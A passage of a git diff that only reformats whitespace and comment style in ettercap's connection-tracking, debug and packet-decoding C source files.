CONNBUF_UNLOCK(cb->connbuf_mutex); - + return n; } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_conntrack.c b/src/ec_conntrack.c index f720282f9..7e74a6c56 100644 --- a/src/ec_conntrack.c +++ b/src/ec_conntrack.c @@ -1,23 +1,23 @@ /* - ettercap -- connection list handling module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- connection list handling module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -44,8 +44,8 @@ struct conn_hash_search { /* * the connection list. * this list is created adding new element in the tail. - * the search method is established in the search function. - * an hash table is used and it is double-linked with the + * the search method is established in the search function. + * an hash table is used and it is double-linked with the * tailq so from each element you can delete the corresponding * in the tailq or viceversa */ @@ -55,8 +55,8 @@ static LIST_HEAD(, conn_hash_search) conntrack_search_head[TABSIZE]; /* global mutex on connections list */ static pthread_mutex_t conntrack_mutex = PTHREAD_MUTEX_INITIALIZER; -#define CONNTRACK_LOCK do{ pthread_mutex_lock(&conntrack_mutex); }while(0) -#define CONNTRACK_UNLOCK do{ pthread_mutex_unlock(&conntrack_mutex); }while(0) +#define CONNTRACK_LOCK do { pthread_mutex_lock(&conntrack_mutex); } while (0) +#define CONNTRACK_UNLOCK do { pthread_mutex_unlock(&conntrack_mutex); } while (0) /* protos */ @@ -72,7 +72,7 @@ static int conntrack_match(struct conn_object *co, struct packet_object *po); void conntrack_hook(struct conn_object *co, struct packet_object *po); /************************************************/ - + /* * add the hook function */ @@ -90,7 +90,7 @@ static void conntrack_parse(struct packet_object *po) struct conn_object *conn; CONNTRACK_LOCK; - + /* search if the connection already exists */ conn = conntrack_search(po); @@ -99,32 +99,32 @@ static void conntrack_parse(struct packet_object *po) conntrack_update(conn, po); else conntrack_add(po); - + CONNTRACK_UNLOCK; } -/* - * calculate the hash for a packet object +/* + * calculate the hash for a packet object */ static u_int32 conntrack_hash(struct packet_object *po) { u_int32 hash_array[3]; - /* + /* * put them in an array and then compute the hash on the array. - * use XOR on src and dst because the hash must be equal for + * use XOR on src and dst because the hash must be equal for * packets from dst to src and viceversa */ hash_array[0] = fnv_32((u_char *)&po->L3.src, sizeof(struct ip_addr)) ^ - fnv_32((u_char *)&po->L3.dst, sizeof(struct ip_addr)); + fnv_32((u_char *)&po->L3.dst, sizeof(struct ip_addr)); hash_array[1] = po->L4.src ^ po->L4.dst; hash_array[2] = po->L4.proto; - + /* compute the resulting hash */ return fnv_32((u_char *)&hash_array, sizeof(hash_array)) & TABMASK; } -/* +/* * search the connection in the connection table * and return the pointer. */ @@ -132,10 +132,10 @@ static struct conn_object *conntrack_search(struct packet_object *po) { struct conn_hash_search *cs; u_int32 h; - + /* use the hash table to find the connection in the tailq */ h = conntrack_hash(po); - + LIST_FOREACH(cs, &conntrack_search_head[h], next) { if (conntrack_match(cs->cl->co, po) == E_SUCCESS) { return cs->cl->co; @@ -143,9 +143,9 @@ static struct conn_object *conntrack_search(struct packet_object *po) } return NULL; -#if 0 +#if 0 struct conn_tail *cl; - + /* search in the list sequentially */ TAILQ_FOREACH(cl, &conntrack_tail_head, next) { if (conntrack_match(cl->co, po) == E_SUCCESS) { @@ -157,7 +157,6 @@ static struct conn_object *conntrack_search(struct packet_object *po) #endif } - /* * update the variable parameters in the connection struct. * the status, the buffer and the timestamp will be updated @@ -166,43 +165,42 @@ static void conntrack_update(struct conn_object *co, struct packet_object *po) { /* update the timestamp */ gettimeofday(&co->ts, 0); - + /* update the status for TCP conn */ if (po->L4.flags & TH_SYN) co->status = CONN_OPENING; else if (po->L4.flags & TH_FIN) co->status = CONN_CLOSING; - else if (po->L4.flags & TH_ACK) { + else if (po->L4.flags & TH_ACK) { /* syn + ack, ack */ - if (co->status == CONN_OPENING ) + if (co->status == CONN_OPENING) co->status = CONN_OPEN; /* fin + ack, ack */ else if (co->status == CONN_CLOSING) co->status = CONN_CLOSED; - } + } if (po->L4.flags & TH_PSH) co->status = CONN_ACTIVE; - + if (po->L4.flags & TH_RST) co->status = CONN_KILLED; - + /* update the buffer */ connbuf_add(&co->data, po); - /* update the status for UDP conn */ if (po->L4.proto == NL_TYPE_UDP) co->status = CONN_ACTIVE; - - /* - * update the byte count + + /* + * update the byte count * use DATA.len and not DATA.disp_len to have an * effective count of byte trasferred, disp_data * may be longer or shorted than DATA.data */ co->xferred += po->DATA.len; - if(!ip_addr_cmp(&co->L3_addr1, &po->L3.src)) + if (!ip_addr_cmp(&co->L3_addr1, &po->L3.src)) co->tx += po->DATA.len; else co->rx += po->DATA.len; @@ -215,8 +213,8 @@ static void conntrack_update(struct conn_object *co, struct packet_object *po) if (po->flags & PO_MODIFIED || po->flags & PO_DROPPED) co->flags |= CONN_MODIFIED; - /* - * update the password + /* + * update the password * always overwrite the old one, a better one may * has been collected... */ @@ -230,14 +228,13 @@ static void conntrack_update(struct conn_object *co, struct packet_object *po) if (po->DISSECTOR.info) co->DISSECTOR.info = strdup(po->DISSECTOR.info); } - + /* execute the hookpoint */ conntrack_hook(co, po); } - /* - * create a new entry in the tail + * create a new entry in the tail */ static void conntrack_add(struct packet_object *po) { @@ -245,17 +242,17 @@ static void conntrack_add(struct packet_object *po) struct conn_hash_search *cs; DEBUG_MSG("conntrack_add: NEW CONNECTION"); - + /* alloc the list element */ SAFE_CALLOC(cl, 1, sizeof(struct conn_tail)); /* alloc the conn object in the element */ SAFE_CALLOC(cl->co, 1, sizeof(struct conn_object)); - /* + /* * here we create the connection. * this is the first packet seen... - * addr1 will be the source and addr2 the dest + * addr1 will be the source and addr2 the dest */ /* fill the addresses */ @@ -269,26 +266,26 @@ static void conntrack_add(struct packet_object *po) cl->co->L4_addr1 = po->L4.src; cl->co->L4_addr2 = po->L4.dst; cl->co->L4_proto = po->L4.proto; - + /* initialize the connection buffer */ connbuf_init(&cl->co->data, GBL_CONF->connection_buffer); - + /* update the connection entry */ conntrack_update(cl->co, po); /* alloc the hash table element */ SAFE_CALLOC(cs, 1, sizeof(struct conn_hash_search)); - + /* set the pointer to the list */ cs->cl = cl; - - /* - * set the pointer to the element in the hash table + + /* + * set the pointer to the element in the hash table * it is used when a connection is deleted because * even the element in the hash table must be deleted */ cl->cs = cs; - + /* insert the new connection in the tail */ TAILQ_INSERT_TAIL(&conntrack_tail_head, cl, next); /* insert the new connection in the tail */ @@ -317,11 +314,11 @@ static int conntrack_match(struct conn_object *co, struct packet_object *po) co->L4_addr1 == po->L4.dst && co->L4_addr2 == po->L4.src) return E_SUCCESS; - + return -E_NOMATCH; } -/* +/* * erase a connection object */ static void conntrack_del(struct conn_object *co) @@ -336,7 +333,7 @@ static void conntrack_del(struct conn_object *co) /* wipe the associated buffer */ connbuf_wipe(&co->data); - + SAFE_FREE(co); } @@ -348,14 +345,14 @@ void conntrack_purge(void) struct conn_tail *cl, *tmp; DEBUG_MSG("conntrack_purge"); - + TAILQ_FOREACH_SAFE(cl, &conntrack_tail_head, next, tmp) { /* don't erase the connection if it is viewed */ if (cl->co->flags & CONN_VIEWING) continue; - + CONNTRACK_LOCK; - + /* wipe the connection */ conntrack_del(cl->co); /* remove the element in the hash table */ @@ -367,10 +364,8 @@ void conntrack_purge(void) CONNTRACK_UNLOCK; } - } - EC_THREAD_FUNC(conntrack_timeouter) { struct timeval ts; @@ -378,40 +373,40 @@ EC_THREAD_FUNC(conntrack_timeouter) struct conn_tail *cl; struct conn_tail *tmp = NULL; size_t sec; - + /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* initialize the thread */ ec_thread_init(); - + DEBUG_MSG("conntrack_timeouter: activated !"); LOOP { - /* + /* * sleep for the maximum time possible * (determined as the minumum of the timeouts) */ sec = MIN(GBL_CONF->connection_idle, GBL_CONF->connection_timeout); DEBUG_MSG("conntrack_timeouter: sleeping for %lu sec", (unsigned long)sec); - + /* always check if a cancel is requested */ CANCELLATION_POINT(); ec_usleep(SEC2MICRO(sec)); - + DEBUG_MSG("conntrack_timeouter: woke up"); - + /* get current time */ gettimeofday(&ts, NULL); - + /* * the timeouter is the only thread that erase a connection * so we are sure that the list will be consistent till the * end. - * we can lock and unlock every time we handle an element of + * we can lock and unlock every time we handle an element of * the list to permit the conntrack functions to operate on the * list even when timeouter goes thru the list */ @@ -420,19 +415,19 @@ EC_THREAD_FUNC(conntrack_timeouter) /* don't erase the connection if it is viewed */ if (cl->co->flags & CONN_VIEWING) continue; - + CONNTRACK_LOCK; - + /* calculate the difference */ time_sub(&ts, &cl->co->ts, &diff); - - /* + + /* * update it only if the staus is active, * all the other status must be left as they are */ if (cl->co->status == CONN_ACTIVE && diff.tv_sec >= GBL_CONF->connection_idle) cl->co->status = CONN_IDLE; - + /* delete the timeouted connections */ if (diff.tv_sec >= GBL_CONF->connection_timeout) { /* wipe the connection */ @@ -446,15 +441,14 @@ EC_THREAD_FUNC(conntrack_timeouter) } CONNTRACK_UNLOCK; - + CANCELLATION_POINT(); } } - + return NULL; } - /* * add the fucntion 'func' to the hookpoint of the * connection owning the packet object @@ -464,65 +458,64 @@ int conntrack_hook_packet_add(struct packet_object *po, void (*func)(struct pack struct conn_object *conn; CONNTRACK_LOCK; - + /* search the connection already exists */ conn = conntrack_search(po); - /* - * if the connection already exist, add the hook function + /* + * if the connection already exist, add the hook function * else create the entry for the connection and add the hook * this is useful to add hooks for future connections */ /* create the fake connection */ if (!conn) { - + DEBUG_MSG("conntrack_hook_packet_add: ephemeral connection"); conntrack_add(po); conn = conntrack_search(po); } - + /* add the hook point */ if (conn) { struct ct_hook_list *h; - + DEBUG_MSG("conntrack_hook_packet_add: existing connection"); - + SAFE_CALLOC(h, 1, sizeof(struct ct_hook_list)); - + /* set the hook function */ h->func = func; - + SLIST_INSERT_HEAD(&conn->hook_head, h, next); - + CONNTRACK_UNLOCK; return E_SUCCESS; - } - + } + CONNTRACK_UNLOCK; return -E_NOTFOUND; } - -/* - * removes a hook from a connection +/* + * removes a hook from a connection */ int conntrack_hook_packet_del(struct packet_object *po, void (*func)(struct packet_object *po)) { struct conn_object *conn; DEBUG_MSG("conntrack_hook_packet_del"); - + CONNTRACK_LOCK; - + /* search the connection already exists */ conn = conntrack_search(po); /* remove the hook function only if the connection exists */ if (conn) { struct ct_hook_list *h; - + SLIST_FOREACH(h, &conn->hook_head, next) { if (h->func == func) { SLIST_REMOVE(&conn->hook_head, h, ct_hook_list, next); @@ -530,11 +523,11 @@ int conntrack_hook_packet_del(struct packet_object *po, void (*func)(struct pack break; } } - + CONNTRACK_UNLOCK; return E_SUCCESS; } - + CONNTRACK_UNLOCK; return -E_NOTFOUND; @@ -542,42 +535,41 @@ int conntrack_hook_packet_del(struct packet_object *po, void (*func)(struct pack /* * add the fucntion 'func' to the hookpoint of the - * connection 'co' + * connection 'co' */ int conntrack_hook_conn_add(struct conn_object *co, void (*func)(struct packet_object *po)) { struct ct_hook_list *h; CONNTRACK_LOCK; - + /* add the hook point */ - + DEBUG_MSG("conntrack_hook_conn_add"); - + SAFE_CALLOC(h, 1, sizeof(struct ct_hook_list)); - + /* set the hook function */ h->func = func; - + SLIST_INSERT_HEAD(&co->hook_head, h, next); - + CONNTRACK_UNLOCK; return E_SUCCESS; } - -/* - * removes a hook from a connection +/* + * removes a hook from a connection */ int conntrack_hook_conn_del(struct conn_object *co, void (*func)(struct packet_object *po)) { struct ct_hook_list *h; DEBUG_MSG("conntrack_hook_conn_del"); - + CONNTRACK_LOCK; - + SLIST_FOREACH(h, &co->hook_head, next) { if (h->func == func) { SLIST_REMOVE(&co->hook_head, h, ct_hook_list, next); @@ -585,12 +577,11 @@ int conntrack_hook_conn_del(struct conn_object *co, void (*func)(struct packet_o break; } } - + CONNTRACK_UNLOCK; return E_SUCCESS; } - /* * executes the hook point */ @@ -602,13 +593,12 @@ void conntrack_hook(struct conn_object *co, struct packet_object *po) SLIST_FOREACH(h, &co->hook_head, next) { h->func(po); } - } /* * fill the desc and return the next/prev element */ -void * conntrack_print(int mode, void *list, char **desc, size_t len) +void *conntrack_print(int mode, void *list, char **desc, size_t len) { struct conn_tail *c = (struct conn_tail *)list; struct conn_tail *cl; @@ -625,23 +615,23 @@ void * conntrack_print(int mode, void *list, char **desc, size_t len) /* the caller wants the description */ if (desc != NULL) { - + /* IP address to string */ ip_addr_ntoa(&c->co->L3_addr1, src); ip_addr_ntoa(&c->co->L3_addr2, dst); /* determine the protocol */ conntrack_protostr(c->co, proto, sizeof(proto)); - + /* determine the status */ conntrack_statusstr(c->co, status, sizeof(status)); - + /* determine the flags */ conntrack_flagstr(c->co, flags, sizeof(flags)); - - snprintf(*desc, len, "%1s %15s:%-5d - %15s:%-5d %1s %s TX: %lu RX: %lu", - flags, src, ntohs(c->co->L4_addr1), dst, ntohs(c->co->L4_addr2), - proto, status, (unsigned long)c->co->tx, (unsigned long)c->co->rx); + + snprintf(*desc, len, "%1s %15s:%-5d - %15s:%-5d %1s %s TX: %lu RX: %lu", + flags, src, ntohs(c->co->L4_addr1), dst, ntohs(c->co->L4_addr2), + proto, status, (unsigned long)c->co->tx, (unsigned long)c->co->rx); #ifdef WITH_GEOIP /* determine current string length */ @@ -649,41 +639,41 @@ void * conntrack_print(int mode, void *list, char **desc, size_t len) /* check if enough space is available to append the GeoIP info */ if (len - slen > 14 && GBL_CONF->geoip_support_enable) { - snprintf(*desc + slen, len - slen, ", CC: %2s > %2s", - geoip_ccode_by_ip(&c->co->L3_addr1), - geoip_ccode_by_ip(&c->co->L3_addr2)); + snprintf(*desc + slen, len - slen, ", CC: %2s > %2s", + geoip_ccode_by_ip(&c->co->L3_addr1), + geoip_ccode_by_ip(&c->co->L3_addr2)); } #endif } - + /* return the next/prev/current to the caller */ switch (mode) { - case -1: - return TAILQ_PREV(c, conn_head, next); - break; - case +1: - return TAILQ_NEXT(c, next); - break; - case 0: - /* if exists in the list, return it */ - TAILQ_FOREACH(cl, &conntrack_tail_head, next) { - if (cl == c) - return c; - } - /* else, return NULL */ - return NULL; - default: - return list; - break; + case -1: + return TAILQ_PREV(c, conn_head, next); + break; + case +1: + return TAILQ_NEXT(c, next); + break; + case 0: + /* if exists in the list, return it */ + TAILQ_FOREACH(cl, &conntrack_tail_head, next) { + if (cl == c) + return c; + } + /* else, return NULL */ + return NULL; + default: + return list; + break; } - + return NULL; } -/* +/* * copy the connection object pointer to conn and return the next/prev element */ -void * conntrack_get(int mode, void *list, struct conn_object **conn) +void *conntrack_get(int mode, void *list, struct conn_object **conn) { struct conn_tail *c = (struct conn_tail *)list; struct conn_tail *cl; @@ -693,34 +683,33 @@ void * conntrack_get(int mode, void *list, struct conn_object **conn) return TAILQ_FIRST(&conntrack_tail_head); /* the caller wants the connection object */ - if (conn != NULL) - *conn = c->co; - + if (conn != NULL) + *conn = c->co; + /* return the next/prev/current to the caller */ switch (mode) { - case -1: - return TAILQ_PREV(c, conn_head, next); - break; - case +1: - return TAILQ_NEXT(c, next); - break; - case 0: - /* if exists in the list, return it */ - TAILQ_FOREACH(cl, &conntrack_tail_head, next) { - if (cl == c) - return c; - } - /* else, return NULL */ - return NULL; - default: - return list; - break; + case -1: + return TAILQ_PREV(c, conn_head, next); + break; + case +1: + return TAILQ_NEXT(c, next); + break; + case 0: + /* if exists in the list, return it */ + TAILQ_FOREACH(cl, &conntrack_tail_head, next) { + if (cl == c) + return c; + } + /* else, return NULL */ + return NULL; + default: + return list; + break; } - + return NULL; } - /* * copies the protocol string of a given connection object into pstr * E_SUCCESS is returned on success @@ -728,23 +717,23 @@ void * conntrack_get(int mode, void *list, struct conn_object **conn) */ int conntrack_protostr(struct conn_object *conn, char *pstr, int len) { - if (pstr == NULL || conn == NULL) - return -E_INVALID; - - memset(pstr, 0, len); - - switch (conn->L4_proto) { - case NL_TYPE_UDP: - strncpy(pstr, "UDP", len - 1); - break; - case NL_TYPE_TCP: - strncpy(pstr, "TCP", len - 1); - break; - default: - strncpy(pstr, " ", len - 1); - } - - return E_SUCCESS; + if (pstr == NULL || conn == NULL) + return -E_INVALID; + + memset(pstr, 0, len); + + switch (conn->L4_proto) { + case NL_TYPE_UDP: + strncpy(pstr, "UDP", len - 1); + break; + case NL_TYPE_TCP: + strncpy(pstr, "TCP", len - 1); + break; + default: + strncpy(pstr, " ", len - 1); + } + + return E_SUCCESS; } /* @@ -754,27 +743,26 @@ int conntrack_protostr(struct conn_object *conn, char *pstr, int len) */ int conntrack_flagstr(struct conn_object *conn, char *pstr, int len) { - if (pstr == NULL || conn == NULL) - return -E_INVALID; + if (pstr == NULL || conn == NULL) + return -E_INVALID; - memset(pstr, 0, len); + memset(pstr, 0, len); - /* - * account collection has precedence over injection/modification - */ - if (conn->flags & CONN_MODIFIED) - strncpy(pstr, "M", len - 1); + /* + * account collection has precedence over injection/modification + */ + if (conn->flags & CONN_MODIFIED) + strncpy(pstr, "M", len - 1); - if (conn->flags & CONN_INJECTED) - strncpy(pstr, "I", len - 1); + if (conn->flags & CONN_INJECTED) + strncpy(pstr, "I", len - 1); - if (conn->DISSECTOR.user) - strncpy(pstr, "*", len - 1); + if (conn->DISSECTOR.user) + strncpy(pstr, "*", len - 1); - return E_SUCCESS; + return E_SUCCESS; } - /* * copies the status string of a given connection object into pstr * E_SUCCESS is returned on success @@ -782,37 +770,37 @@ int conntrack_flagstr(struct conn_object *conn, char *pstr, int len) */ int conntrack_statusstr(struct conn_object *conn, char *pstr, int len) { - if (pstr == NULL || conn == NULL) - return -E_INVALID; - - memset(pstr, 0, len); - - /* determine the status */ - switch (conn->status) { - case CONN_IDLE: - strncpy(pstr, "idle ", len - 1); - break; - case CONN_OPENING: - strncpy(pstr, "opening", len - 1); - break; - case CONN_OPEN: - strncpy(pstr, "open ", len - 1); - break; - case CONN_ACTIVE: - strncpy(pstr, "active ", len - 1); - break; - case CONN_CLOSING: - strncpy(pstr, "closing", len - 1); - break; - case CONN_CLOSED: - strncpy(pstr, "closed ", len - 1); - break; - case CONN_KILLED: - strncpy(pstr, "killed ", len - 1); - break; - } - - return E_SUCCESS; + if (pstr == NULL || conn == NULL) + return -E_INVALID; + + memset(pstr, 0, len); + + /* determine the status */ + switch (conn->status) { + case CONN_IDLE: + strncpy(pstr, "idle ", len - 1); + break; + case CONN_OPENING: + strncpy(pstr, "opening", len - 1); + break; + case CONN_OPEN: + strncpy(pstr, "open ", len - 1); + break; + case CONN_ACTIVE: + strncpy(pstr, "active ", len - 1); + break; + case CONN_CLOSING: + strncpy(pstr, "closing", len - 1); + break; + case CONN_CLOSED: + strncpy(pstr, "closed ", len - 1); + break; + case CONN_KILLED: + strncpy(pstr, "killed ", len - 1); + break; + } + + return E_SUCCESS; } /* @@ -849,4 +837,3 @@ int conntrack_countrystr(struct conn_object *conn, char *pstr, int len) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_debug.c b/src/ec_debug.c index ac6993473..b1dbeaf16 100644 --- a/src/ec_debug.c +++ b/src/ec_debug.c @@ -1,24 +1,24 @@ /* - ettercap -- debug module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * ettercap -- debug module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ #include #ifdef HAVE_EC_LUA @@ -34,7 +34,7 @@ #include #include #ifdef HAVE_PCRE - #include +#include #endif #include @@ -43,9 +43,9 @@ #include #ifdef HAVE_SYS_UTSNAME_H - #include +#include #ifdef OS_LINUX - #include +#include #endif #endif @@ -54,8 +54,8 @@ FILE *debug_file = NULL; static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; -#define DEBUG_LOCK do{ pthread_mutex_lock(&debug_mutex); } while(0) -#define DEBUG_UNLOCK do{ pthread_mutex_unlock(&debug_mutex); } while(0) +#define DEBUG_LOCK do { pthread_mutex_lock(&debug_mutex); } while (0) +#define DEBUG_UNLOCK do { pthread_mutex_unlock(&debug_mutex); } while (0) /* protos */ @@ -69,73 +69,70 @@ void debug_init(void) struct utsname buf; #endif DEBUG_LOCK; - - if ((debug_file = fopen (GBL_DEBUG_FILE, "w")) == NULL) + + if ((debug_file = fopen(GBL_DEBUG_FILE, "w")) == NULL) ERROR_MSG("Couldn't open for writing %s", GBL_DEBUG_FILE); - - fprintf (debug_file, "\n==============================================================\n\n"); - - fprintf (debug_file, "-> ${prefix} %s\n", INSTALL_PREFIX); - fprintf (debug_file, "-> ${exec_prefix} %s\n", INSTALL_EXECPREFIX); - fprintf (debug_file, "-> ${bindir} %s\n", INSTALL_BINDIR); - fprintf (debug_file, "-> ${libdir} %s\n", INSTALL_LIBDIR); - fprintf (debug_file, "-> ${sysconfdir} %s\n", INSTALL_SYSCONFDIR); - fprintf (debug_file, "-> ${datadir} %s\n\n", INSTALL_DATADIR); - - #ifdef HAVE_EC_LUA - ec_lua_print_info(debug_file); - #endif - - fprintf (debug_file, "-> %s %s\n\n", GBL_PROGRAM, GBL_VERSION); - #ifdef HAVE_SYS_UTSNAME_H - uname(&buf); - fprintf (debug_file, "-> running on %s %s %s\n", buf.sysname, buf.release, buf.machine); - #endif - #if defined (__GNUC__) && defined (__GNUC_MINOR__) - fprintf (debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); - #endif - #if defined (__GLIBC__) && defined (__GLIBC_MINOR__) - fprintf (debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); - #endif + + fprintf(debug_file, "\n==============================================================\n\n"); + + fprintf(debug_file, "-> ${prefix} %s\n", INSTALL_PREFIX); + fprintf(debug_file, "-> ${exec_prefix} %s\n", INSTALL_EXECPREFIX); + fprintf(debug_file, "-> ${bindir} %s\n", INSTALL_BINDIR); + fprintf(debug_file, "-> ${libdir} %s\n", INSTALL_LIBDIR); + fprintf(debug_file, "-> ${sysconfdir} %s\n", INSTALL_SYSCONFDIR); + fprintf(debug_file, "-> ${datadir} %s\n\n", INSTALL_DATADIR); + +#ifdef HAVE_EC_LUA + ec_lua_print_info(debug_file); +#endif + + fprintf(debug_file, "-> %s %s\n\n", GBL_PROGRAM, GBL_VERSION); +#ifdef HAVE_SYS_UTSNAME_H + uname(&buf); + fprintf(debug_file, "-> running on %s %s %s\n", buf.sysname, buf.release, buf.machine); +#endif +#if defined(__GNUC__) && defined(__GNUC_MINOR__) + fprintf(debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); +#endif +#if defined(__GLIBC__) && defined(__GLIBC_MINOR__) + fprintf(debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); +#endif fprintf(debug_file, "-> %s\n", pcap_lib_version()); fprintf(debug_file, "-> libnet version %s\n", LIBNET_VERSION); fprintf(debug_file, "-> libz version %s\n", zlibVersion()); - #ifdef HAVE_PCRE +#ifdef HAVE_PCRE fprintf(debug_file, "-> libpcre version %s\n", pcre_version()); - #endif - #ifdef HAVE_EC_LUA - ec_lua_print_version(debug_file); - #endif - fprintf (debug_file, "-> lib %s\n", SSLeay_version(SSLEAY_VERSION)); - fprintf (debug_file, "-> headers %s\n", OPENSSL_VERSION_TEXT); - fprintf (debug_file, "\n\nDEVICE OPENED FOR %s DEBUGGING\n\n", GBL_PROGRAM); +#endif +#ifdef HAVE_EC_LUA + ec_lua_print_version(debug_file); +#endif + fprintf(debug_file, "-> lib %s\n", SSLeay_version(SSLEAY_VERSION)); + fprintf(debug_file, "-> headers %s\n", OPENSSL_VERSION_TEXT); + fprintf(debug_file, "\n\nDEVICE OPENED FOR %s DEBUGGING\n\n", GBL_PROGRAM); fflush(debug_file); - + DEBUG_UNLOCK; - + atexit(debug_close); } - - void debug_close(void) { DEBUG_LOCK; - - fprintf (debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); + + fprintf(debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); fflush(debug_file); - fclose (debug_file); + fclose(debug_file); /* set it to null and check from other threads */ debug_file = NULL; DEBUG_UNLOCK; } - void debug_msg(const char *message, ...) { va_list ap; - char debug_message[strlen(message)+2]; + char debug_message[strlen(message) + 2]; DEBUG_LOCK; @@ -159,8 +156,6 @@ void debug_msg(const char *message, ...) #endif /* DEBUG */ - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_decode.c b/src/ec_decode.c index d8aa9d24f..963e2e43d 100644 --- a/src/ec_decode.c +++ b/src/ec_decode.c @@ -1,23 +1,23 @@ /* - ettercap -- decoder module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- decoder module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -57,22 +57,21 @@ FUNC_DECODER(decode_data); static void sort_decoders(void); static int cmp_decoders(const void *va, const void *vb); -static struct dec_entry* find_entry(u_int8 level, u_int32 type); +static struct dec_entry *find_entry(u_int8 level, u_int32 type); void **get_decoders(u_int8 level, u_int32 type); /* mutexes */ static pthread_mutex_t decoders_mutex = PTHREAD_MUTEX_INITIALIZER; -#define DECODERS_LOCK do{ pthread_mutex_lock(&decoders_mutex); } while(0) -#define DECODERS_UNLOCK do{ pthread_mutex_unlock(&decoders_mutex); } while(0) +#define DECODERS_LOCK do { pthread_mutex_lock(&decoders_mutex); } while (0) +#define DECODERS_UNLOCK do { pthread_mutex_unlock(&decoders_mutex); } while (0) static pthread_mutex_t dump_mutex = PTHREAD_MUTEX_INITIALIZER; -#define DUMP_LOCK do{ pthread_mutex_lock(&dump_mutex); } while(0) -#define DUMP_UNLOCK do{ pthread_mutex_unlock(&dump_mutex); } while(0) +#define DUMP_LOCK do { pthread_mutex_lock(&dump_mutex); } while (0) +#define DUMP_UNLOCK do { pthread_mutex_unlock(&dump_mutex); } while (0) /*******************************************/ - void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pkt) { FUNC_DECODER_PTR(packet_decoder); @@ -88,13 +87,13 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk /* start the timer for the stats */ stats_half_start(&GBL_STATS->bh); - + /* XXX -- remove this */ #if 0 if (!GBL_OPTIONS->quiet) - USER_MSG("CAPTURED: 0x%04x bytes form %s\n", pkthdr->caplen, iface->name ); + USER_MSG("CAPTURED: 0x%04x bytes form %s\n", pkthdr->caplen, iface->name); #endif - + if (GBL_OPTIONS->read) /* update the offset pointer */ GBL_PCAP->dump_off = ftell(pcap_file(GBL_IFACE->pcap)); @@ -102,9 +101,9 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk /* update the statistics */ stats_update(); } - - /* - * dump packet to file if specified on command line + + /* + * dump packet to file if specified on command line * it dumps all the packets disregarding the filter * * do not perform the operation if we are reading from another @@ -112,7 +111,7 @@ void ec_decode(u_char *param, const struct pcap_pkthdr *pkthdr, const u_char *pk * form other files (useful for decription). */ if (GBL_OPTIONS->write && !GBL_OPTIONS->read) { - /* + /* * we need to lock this because in SM_BRIDGED the * packets are dumped in the 